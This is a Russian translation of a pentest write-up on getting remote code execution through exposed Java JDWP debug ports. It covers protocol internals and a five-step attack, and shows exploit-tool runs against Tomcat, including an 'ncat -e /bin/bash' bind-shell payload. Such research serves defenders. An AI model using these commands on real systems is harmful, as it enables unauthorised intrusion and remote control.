В этой статье будет рассказана история о том, как я столкнулся с интересным протоколом и реализовал надежный метод удаленного выполнения кода. Мы коснемся некоторых деталей внутреннего устройства протокола Java Debug Wire Protocol (JDWP) и того, как, используя их, можно выполнить код. В конце у нас будет надежный и универсальный скрипт для решения этой задачи.
Автор: Кристоф Алладум (Christophe Alladoum) – @_hugsy_
В этой статье будет рассказана история о том, как я столкнулся с интересным протоколом и реализовал надежный метод удаленного выполнения кода. Мы коснемся некоторых деталей внутреннего устройства протокола Java Debug Wire Protocol (JDWP) и того, как, используя их, можно выполнить код. В конце у нас будет надежный и универсальный скрипт для решения этой задачи.
Предупреждение: все техники и код, представленные в этой статье, не следует использовать без предварительного разрешения. Автор не несет никакой ответственности за последствия от несанкционированного использования данной информации
Примечание: во время исследования протокола JDWP я столкнулся с двумя статьями, касающимися этой темы (см. [5] (на французском языке) и [6]). Материалы весьма полезные, однако, не думайте, что само по себе глубокое понимание протокола позволит вам сделать что-нибудь интересное (читай, написать эксплоит). В этом посте не будет рассказываться об уязвимостях нулевого дня, но сама тема раскрывается с точки зрения с точки зрения пентестера/хакера.
Java Debug Wire Protocol
Java Platform Debug Architecture (JPDA)
Протокол JDWP – один из компонентов общей системы отладки под названием Java Platform Debug Architecture (JPDA)[2]. На диаграмме ниже показана общая архитектура системы:
Рисунок 1: Компоненты Java Platform Debug Architecture
Компонент Debuggee содержит многопоточную JVM (Java Virtual Machine), на которой запущено целевое приложение. Для удаленной отладки приложения при запуске JVM-инстанса в командной строке следует указать ключи -Xdebug и –Xrunjdwp.
К примеру, запущенный сервер Tomcat с возможностью удаленной отладки будет выглядеть так:
Рисунок 2: Запущенный сервер Tomcat с возможностью удаленной отладки
На Рисунке 1 видно, что Java Debug Wire Protocol соединяет отладчик и JVM-инстанс. Вот что известно об этом протоколе:
Схема установления связи
Согласно спецификации JDWP [9] коммуникация инициируется простейшим образом. После успешного установления TCP-соединения Клиент (Debugger) отсылает текстовую 14-ти символьную строку «JDWP-Handshake» (в формате ASCII). Сервер (Debuggee) отсылает тот же самый ответ. Ниже показан лог, полученный при помощи утилиты scapy [3], первоначального сеанса установления связи.
root:~/tools/scapy-hg # ip addr show dev eth0 | grep "inet "
inet 192.168.2.2/24 brd 192.168.2.255 scope global eth0
root:~/tools/scapy-hg # ./run_scapy
Welcome to Scapy (2.2.0-dev)
>>> sniff(filter="tcp port 8000 and host 192.168.2.9", count=8)
<Sniffed: TCP:9 UDP:1 ICMP:0 Other:0>
>>> tcp.hexraw()
0000 15:49:30.397814 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 S
0001 15:49:30.402445 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 SA
0002 15:49:30.402508 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 A
0003 15:49:30.402601 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 PA / Raw
0000 4A 44 57 50 2D 48 61 6E 64 73 68 61 6B 65 JDWP-Handshake
0004 15:49:30.407553 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 A
0005 15:49:30.407557 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 A
0006 15:49:30.407557 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 PA / Raw
0000 4A 44 57 50 2D 48 61 6E 64 73 68 61 6B 65 JDWP-Handshake
0007 15:49:30.407636 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 A
Опытный специалист по безопасности, возможно, уже понял, что подобная схема позволяет легко выявить рабочий JDWP-сервис в интернете путем отсылки простейшего текстового запроса анализа ответа.
Более того, в IBM Java Development Kit описан способ сканирования при помощи ShodanHQ[4], позволяющий обнаружить рабочий JDWP-сервис в полностью пассивном режиме (подробнее об этом будет рассказано позже).
Схема коммуникации
В JDWP определен формат сообщений [10], используемый при коммуникации между Клиентом и Сервером.
Формат сообщения следующий:
Рисунок 3: Формат сообщений, используемых при общении между Клиентом и Сервером
Полагаю, что смысл полей Length и Id не нуждается в объяснении. Поле Flag используется лишь для того, чтобы различить пакеты запросов и ответов. Значение 0x80 соответствует пакетам, которые отсылает сервер. Поле CommandSet обозначает категорию команды, как показано в таблице ниже:
Значение CommandSet |
Команда |
0x40 |
Действия будут предприняты на JVM (например, установка точка останова). |
0x40–0x7F |
Предоставляется информация о возникновении события (например, на JVM сработала точка останова) |
0x80 |
Сторонние расширения |
Учитывая то, что мы хотим выполнить произвольный код, нам будут особенно интересны следующие команды:
JDWP позволяет не только получать доступ и выполнять методы объектов, уже находящихся в памяти, но и создавать и перезаписывать данные.
Алгоритм работы эксплоита
Как было сказано ранее, в JDWP есть встроенные команды для загрузки произвольных классов в память JVM и выполнения уже существующего и/или только что загруженного байт-кода. Далее мы рассмотрим по шагам создание на языке Python кода эксплоита, функционирующего для большей надежности как часть JDI фронтенда. Теперь, когда мы изучили теорию, приступим к практической части.
При работе с JDWP-сервисом произвольный код выполняется в пять шагов (или при помощи эксплоита в один шаг).
1. Получение ссылки на Java Runtime
JVM оперирует объектам при помощи ссылок. По этой причине наш эксплоит должен получить ссылку на класс java.lang.Runtime. Затем нам нужна ссылка на метод getRuntime(). Нужные ссылки достаются из списка всех классов (используется пакет AllClasses) и списка всех методов определенного класса (используется пакет ReferenceType/Methods).
2. Установка точки останова и ожидание уведомления (асинхронные вызовы)
В этом заключается суть работы эксплоита. Чтобы запустить произвольный код мы должны быть внутри контекста рабочего потока. Для этого мы устанавливаем точку останова на методе, который точно запустится во время выполнения. Ранее упоминалось, что брекпоинт в JDI представляет собой асинхронное событие с типом BREAKPOINT(0x02). Во время срабатывания точки останова JVM отсылает отладчику пакет EventData, содержащий идентификатор точки останова (ID) и, что более важно, ссылку на поток, в котором она сработала.
Рисунок 4: Выдержка из документации Oracle
Хорошей идеей было бы установить точку останова на часто вызываемый метод, например, на java.net.ServerSocket.accept(), который весьма вероятно вызывается каждый раз, когда сервер получает новое соединение. Однако можно использовать любой другой метод, вызываемый во время выполнения.
3. Размещение объекта Java String, необходимого для выполнения полезной нагрузки, в среде выполнения
Код запускается в среде выполнения JVM, так что все наши данные (в том числе и строки) должны также быть там (то есть, содержать ссылку на среду выполнения). Делается при помощи команды CreateString.
Рисунок 5: Создание строки
4. Получение ссылки на объект Runtime из контекста точки останова
Теперь у нас есть почти все составляющие для эксплоита. Осталось только получить ссылку на объект Runtime. Делается это при помощи вызова статического метода java.lang.Runtime.getRuntime() [8] посредством отсылки пакета ClassType/InvokeMethod и использованием ссылок на поток и класс Runtime.
5. Поиск и запуск метода exec() в экземпляре класса Runtime
Последний шаг – поиск и запуск метода exec() в статическом объекте Runtime, полученном в предыдущем шаге (отсылается пакет ObjectReference/InvokeMethod) вместе с объектом String, созданного нами в третьем шаге.
Рисунок 6: Формирование данных и запуск метода
В качестве демонстрации работы эксплоита, запустим Tomcat вместе с JPDA в отладочном режиме (debug mode):
root@pwnbox:~/apache-tomcat-6.0.39# ./bin/catalina.sh jpda start
Проверяем скрипт на ОС Mac OS X. Полезная нагрузка не используется. Задача – просто получить информацию о системе:
hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.9
[+] Targeting '192.168.2.9:8000'
[+] Reading settings for 'Java HotSpot(TM) 64-Bit Server VM - 1.6.0_65'
[+] Found Runtime class: id=466
[+] Found Runtime.getRuntime(): id=7facdb6a8038
[+] Created break event id=2
[+] Waiting for an event on 'java.net.ServerSocket.accept'
## Here we wait for breakpoint to be triggered by a new connection ##
[+] Received matching event from thread 0x8b0
[+] Found Operating System 'Mac OS X'
[+] Found User name 'pentestosx'
[+] Found ClassPath '/Users/pentestosx/Desktop/apache-tomcat-6.0.39/bin/bootstrap.jar'
[+] Found User home directory '/Users/pentestosx'
[!] Command successfully executed
Проверяем скрипт на ОС Windows. При установке точки останова используется другой метод (указывается в параметре скрипта):
hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.8 --break-on 'java.lang.String.indexOf'
[+] Targeting '192.168.2.8:8000'
[+] Reading settings for 'Java HotSpot(TM) Client VM - 1.7.0_51'
[+] Found Runtime class: id=593
[+] Found Runtime.getRuntime(): id=17977a9c
[+] Created break event id=2
[+] Waiting for an event on 'java.lang.String.indexOf'
[+] Received matching event from thread 0x8f5
[+] Found Operating System 'Windows 7'
[+] Found User name 'hugsy'
[+] Found ClassPath 'C:\Users\hugsy\Desktop\apache-tomcat-6.0.39\bin\bootstrap.jar'
[+] Found User home directory 'C:\Users\hugsy'
[!] Command successfully executed
В Linux используем полезную нагрузку «ncat -e /bin/bash -l -p 1337», чтобы организовать доступ через шелл:
hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.8 --cmd 'ncat -l -p 1337 -e /bin/bash'
[+] Targeting '192.168.2.8:8000'
[+] Reading settings for 'OpenJDK Client VM - 1.6.0_27'
[+] Found Runtime class: id=79d
[+] Found Runtime.getRuntime(): id=8a1f5e0
[+] Created break event id=2
[+] Waiting for an event on 'java.net.ServerSocket.accept'
[+] Received matching event from thread 0x82a
[+] Selected payload 'ncat -l -p 1337 -e /bin/bash'
[+] Command string object created id:82b
[+] Runtime.getRuntime() returned context id:0x82c
[+] found Runtime.exec(): id=8a1f5fc
[+] Runtime.exec() successful, retId=82d
[!] Command successfully executed
Трюк сработал, и теперь у нас есть сокет в режиме прослушивания!
root@pwnbox:~/apache-tomcat-6.0.39# netstat -ntpl | grep 1337
tcp 0 0 0.0.0.0:1337 0.0.0.0:* LISTEN 19242/ncat
tcp6 0 0 :::1337 :::* LISTEN 19242/ncat
То же самое для MacOSX:
pentests-Mac:~ pentestosx$ lsof | grep LISTEN
ncat 4380 pentestosx 4u IPv4 0xffffff800c8faa40 0t0 TCP *:menandmice-dns (LISTEN)
Полную версию скрипта можно найти в разделе Ссылки [1].
В конечной версии скрипта добавлено несколько проверок и отсылка дополнительных сигналов (suspend/resume) для того, чтобы приложение, с которым мы взаимодействуем, работал как можно стабильнее. Возможны два режима:
Скрипт был успешно протестирован на:
Команды могут запускаться в любой операционной системе, где есть Java.
Для пентестеров работающий JDWP-сервис можно использовать как надежный инструмент дистанционного управления (Remote Control Equipment, RCE).
Как обстоят дела в реальной жизни?
Протокол JDWP используется во множестве систем по всему миру, но пентестеры могут и не сталкиваться с ним из-за того, что фаерволы блокируют соответствующий порт. Однако это не означает, что JDWP нельзя найти в «дикой природе»:
Рисунок 7: Список уязвимых серверов, найденных при помощи утилиты ShodanHQ
Находка весьма интересная, поскольку согласно спецификации на протокол, допустима инициация диалога со стороны клиента (отладчика).
Рисунок 8: Перечень потенциально уязвимых приложений
Существует всего несколько способов, чтобы найти открытый JDWP-сервис в интернете, и это отличная памятка при разработке приложений, которые должны проходить тестирование на безопасность. В боевых системах любые отладочные функции следует отключать, а фаерволы должны быть сконфигурированы так, чтобы доступ к отладочным сервисам был ограничен.
Надеюсь, вам понравилась эта статья, и вы получили удовольствие от экспериментов с протоколом JDWP.
Благодарности
Хотел бы выразить благодарность Илье Ван Спрунделу (Ilja Van Sprundel) и Себастьяну Макке (Sebastien Macke) за их идеи и помощь при тестировании.
Ссылки